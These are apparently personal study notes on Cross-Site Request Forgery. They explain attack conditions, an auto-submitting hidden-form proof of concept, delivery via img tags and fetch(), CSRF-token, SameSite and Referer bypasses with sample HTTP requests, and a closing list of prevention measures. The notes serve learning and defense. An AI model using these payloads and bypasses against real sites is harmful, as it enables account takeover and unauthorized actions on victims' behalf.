Cross-Site Request Forgery
My notes about CSRF
Category: [Client-Side]
Severity: [Medium to High/Critical]
Impact: [ATO, Unauthorized Financial Transactions, Privilege Escalation, etc...]
1. Concept
In Cross-Site Request Forgery or CSRF, an attacker can perform an action on behalf of a user by induce them to visit a malicious webpage or make a request. This might happen using multiple methods which will be explained in next sections.
In a successful CSRF attack, attacker causes the victim to carry out an action, For example:
- Changing Email address
- Changing Username or Password
- In dangerous cases, transfer funds Or any other action based on application’s logic.
2. Key conditions of CSRF
There are 3 key conditions to do a CSRF attack:
- An Action: There must be an action within the application that attacker has a reason to induce, this can be a simple Email change, or in critical cases, changing user permissions which can lead to privilege escalation and account takeover or even full control over application.
- Cookie-based session handling: Performing the action involves several requests, application needs to identify which user is performing the action, so identifying the user relies on session cookies to do so.
- No unpredictable request parameters: The request that perform the action should not contain any parameter that attacker can’t determine, change or guess. For example: a
Current passwordparameter which can’t be determined by attacker.
For example: an application make a POST request to change the Email address, like below:
POST /email/change HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 20
Cookie: session=yvthwsztyeQkAPzeQ5gHgTvlyxHfsAfE
email=user@email.com
In this case we have all 3 conditions:
- The action is changing Email
- We have the session in a cookie
- We can change the
emailparameter
So attacker will create a hidden form in a webpage:
<html>
<body>
<form action="https://example.com/email/change" method="POST">
<input type="hidden" name="email" value="attacker@email.com" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
Whenever victim opens the malicious URL which contains this code, they’ll submit a hidden form automatically with predefined data which send request to the vulnerable endpoint /email/change and change the Email address.
Note: The victim must be logged in to their account before opening the malicious webpage.
Although we said CSRF needs a cookie-based session handling, it’s also arises in other contexts where the application automatically adds some user credentials to requests such as Authorization header or certificate-based authentication.
3. Construct a CSRF Attack
As we said before, the attacker needs to create a malicious webpage with hidden parameters which is being submitted automatically. the webpage may contains a HTML source just like the example of previous section, the attacker defines the request method and endpoint in <form> tag:
<form action="https://example.com/email/change" method="POST"></form>
Create a hidden input with predefined value:
<input type="hidden" name="email" value="attacker@email.com" />
And then submit the form automatically using a JavaScript code:
document.forms[0].submit();
This JS code gets the first <form> element in the DOM and submit it by .submit() without user interaction.
You can use Burp CSRF PoC Generator instead of making it manually.
4. Deliver a CSRF exploit
You need to deliver the exploit to the victim, it can be possible in several ways.
If you have a POST request which do your intended action, you can simply upload a source code like what we just discusses about in previous sections in a website or webpage, and give the URL to victim.
If there’s a GET request or you can convert the POST request into GET, it might be easier. For example:
https://example.com/email/change?email=user@email.com
This is a GET request, the email parameter send to server via URL endpoint, simply, we can put that URL in a <img> tag or fetch() function:
<img src="https://example.com/email/change?email=user@email.com" />
Whenever user opens the webpage containing this source, browser tries fetch the image by requesting the URL in src, nothing will load, but the request will be there.
It can be a fetch() function:
fetch('https://example.com/email/change?email=user@email.com');
which is a JavaScript function that is used to request to a URL. However, this one may have some limitations, so use it in special cases.
5. Common defenses against CSRF
Most web applications use Anti-CSRF methods to prevent being attacked, Common defenses against a CSRF attack are:
- CSRF Token
- SameSite Cookies
- Referer-based validation
CSRF Token
One of the most effective ways to prevent a CSRF attack is by using a CSRF token. It prevents requests from being repeated or originating from another origin by generating a random token.
Take a look at the example:
POST /email/change HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 56
Cookie: session=yvthwsztyeQkAPzeQ5gHgTvlyxHfsAfE
email=user@email.com&csrf_token=abcdefghijklmnop123lksdw
We just discussed about this request in the second section of this post, but this one have a csrf_token, so attacker can’t just take parameters and create an exploit for that, why? because website generates a CSRF token for each request which can’t be determined by attacker. Attacker needs that token to construct the attack and they doesn’t has it, so they can’t simply exploit it.
SameSite Cookies
SameSite is a browser security mechanism that determines when a website’s cookies are included in requests originating from other websites. As requests that perform sensitive actions typically require an authenticated session cookie, the SameSite can prevent the attacker from sending a cookie from another origin.
There are 3 modes for SameSite:
SameSite=None; Secure: Cookie is sent cross-origin and cross-site requestsSameSite=Lax: Cookie is sent in same-site requests and cross-site top-level navigations orGETrequests.SameSite=Strict: Cookie is only sent in same-site requests, this is the most secure method
Consequently, using SameSite=Lax will prevent the attacker from sending the session cookie in a POST request, and SameSite=Strict will prevent a CSRF attack entirely (if there’s no other bug which leads to some bypasses for this one).
Referer-Based Validation
Some applications use the Referer header in HTTP requests to determine where a request originated. If the request comes from the same origin or a trusted domain, the application accepts it; otherwise, it rejects the request.
6. Bypassing CSRF token validation
Change request method
Some applications validates the token correctly when the request method is POST, but changing the request method to GET will bypass token validation.
For instance:
POST /email/change HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 56
Cookie: session=yvthwsztyeQkAPzeQ5gHgTvlyxHfsAfE
email=user@email.com&csrf_token=abcdefghijklmnop123lksdw
attacker may change above request to this:
GET /email/change?email=user@email.com HTTP/1.1
Host: example.com
Cookie: session=yvthwsztyeQkAPzeQ5gHgTvlyxHfsAfE
and bypass token validation entirely.
Token Presentation
In some cases, removing the CSRF token from request will bypass protection, attacker simply send the request without a token:
POST /email/change HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 20
Cookie: session=yvthwsztyeQkAPzeQ5gHgTvlyxHfsAfE
email=user@email.com
CSRF token is not tied to the user session
Some applications don’t validate that the presented token belongs to the same session as the user who is making the request. Instead, the application maintains a global pool of token and check if given token is there or not.
Example:
Server generates token abcdefghijk13242jskfkd for User1 with session=yvthwsztyeQkAPzeQ5gHgTvlyxHfsAfE for a request, and generates token lmnopqrstuv234japwa334 for User2 with session=oieuroiniuflkdsfeur3riwrjkjfhjdh who is the attacker. Attacker simply use their own token before it expires to exploit the vulnerability and target the User1:
POST /email/change HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 54
Cookie: session=yvthwsztyeQkAPzeQ5gHgTvlyxHfsAfE
email=user@email.com&csrf_token=lmnopqrstuv234japwa334
CSRF token is tied to a non-session cookie
Some application do tie the CSRF token to a cookie, but not the the same cookie which is used to track user’s session. Example:
POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 58
Cookie: session=pSJYSScWKpmC60LpFOAHKixuFuM4uXWF; csrfKey=rZHCnSzEp8dbI6atzagGoSYyqJqTz5dv
csrf=RhV7yQDO0xcq9gLEah2WVbmuFqyOq7tY&email=user@email.com
In this case, if website contains any behavior that allows the attacker to set a cookie in victim’s browser, then an attack may be possible. The attacker can log in to the application using their own account, obtain a valid token and associated cookie, leverage the cookie-setting behavior to place their cookie into the victim’s browser, and feed their token to the victim in their CSRF attack.
Note: The cookie-setting behavior does not even need to exist within the same web application as the CSRF vulnerability. Any other application within the same overall DNS domain can potentially be leveraged to set cookies in the application that is being targeted, if the cookie that is controlled has suitable scope. For example, a cookie-setting function on
staging.demo.normal-website.comcould be leveraged to place a cookie that is submitted tosecure.normal-website.com.
CSRF token duplicated in a cookie
Some applications don’t maintain any server-side record of tokens, instead duplicate each token within a cookie and a request parameter. When the subsequent request is validated, the application verifies that the token submitted in parameter matches the token in cookie. This also called “Double Submit”.
POST /email/change HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 58
Cookie: session=1DQGdzYbOJQzLP7460tfyiv3do7MjyPw; csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa
csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa&email=user@email.com
In this situation, attacker may just invent a token value based on website algorithm and place it in both cookie value and csrf token value, then bypass this protection.
7. Bypassing SameSite cookies
Lax restrictions
Servers aren’t always fussy about whether they will receive a POST or GET request to a given endpoint. If they also use Lax value for SameSite of a cookie, attacker simply use a GET method to perform an action by victim’s browser:
<img src="https://example.com/email/change?email=user@email.com" />
As long as the request involves a top-level navigation, attacker may use such a way too:
document.location = "https://example.com/email/change?email=user@email.com"
Strict restrictions
In case of SameSite=Strict, attacker may use a vulnerable page which is in same origin. For example:
Web application has a vulnerable endpoint which is responsible to redirect requests: /redirect?url=/dashboard, attacker can not perform the action they want directly, so they will use this endpoint to do so.
This is the action:
POST /email/change HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 20
Cookie: session=pSJYSScWKpmC60LpFOAHKixuFuM4uXWF; csrfKey=rZHCnSzEp8dbI6atzagGoSYyqJqTz5dv
email=user@email.com
This is what attacker will do:
GET /redirect?url=%2Femail%2Fchange%3Femail%3Duser%40email.com HTTP/1.1
Host: example.com
Cookie: session=pSJYSScWKpmC60LpFOAHKixuFuM4uXWF;
and put it in a simple <img> tag:
<img src="https://example.com/redirect?url=%2Femail%2Fchange%3Femail%3Duser%40email.com" />
Note:
urlvalue must be URL-encoded
Consequently, whenever victim opens the malicious webpage, this will happens:
attacker.com → Malicious code → Session cookies → Blocked
attacker.com → Malicious code → /redirect?url=... → Sessions cookies → Pass → Email Changed
8. Bypassing Referer-Based validation
Header presentation
Sometimes attacker can bypass Referer header by using a single <meta> like this:
<meta name="referrer" content="never">
which disable the Referer header.
Referer validation
In some cases, server validates the Referer value in an unsafe way, so attacker can bypass this filter.
For example: Server expect the value to be start with a specific string like safe.example.com, so attacker will use such a URL to exploit the vulnerability:
https://safe.example.com.attacker.com
Server checks the value and see it starts with the specific value, and then accepts it.
In other case, server may simply just check whether its own domain presents or not, so attacker will use such a URL:
https://attacker.com/csrf_attack?example.com
It’s also possible to bypass this filter by Header Overriding, attacker just override the Referer using below headers and construct the attack:
Referrer-Policy
Referer
Origin
rel="noreferrer" (HTML attribute)
9. Prevent
- Synchronizer token pattern (CSRF token in form/h header, validated server-side)
- Double-submit cookie (token in cookie + header/body, compared server-side)
- SameSite=Lax (default) / SameSite=Strict on session cookies
- SameSite=None; Secure only for intentional cross-site use
- Require custom header (X-Requested-With, X-CSRF-Token) — browsers block cross-origin custom - headers without CORS preflight
- Check Origin / Referer headers (validate same-origin)
- Disallow GET for state-changing actions (405 on GET /transfer, etc.)
- Short token expiry / per-request tokens (single-use)
- Bind token to user session + action + timestamp
- Content-Type enforcement (require application/json or form-data, reject text/plain)
- CORS: no wildcard with credentials; explicit Allow-Origin only
- User interaction proof (re-auth, CAPTCHA, 2FA for sensitive actions)
- Login CSRF protection (CSRF token on login form)
- Subdomain isolation (separate session cookies per subdomain)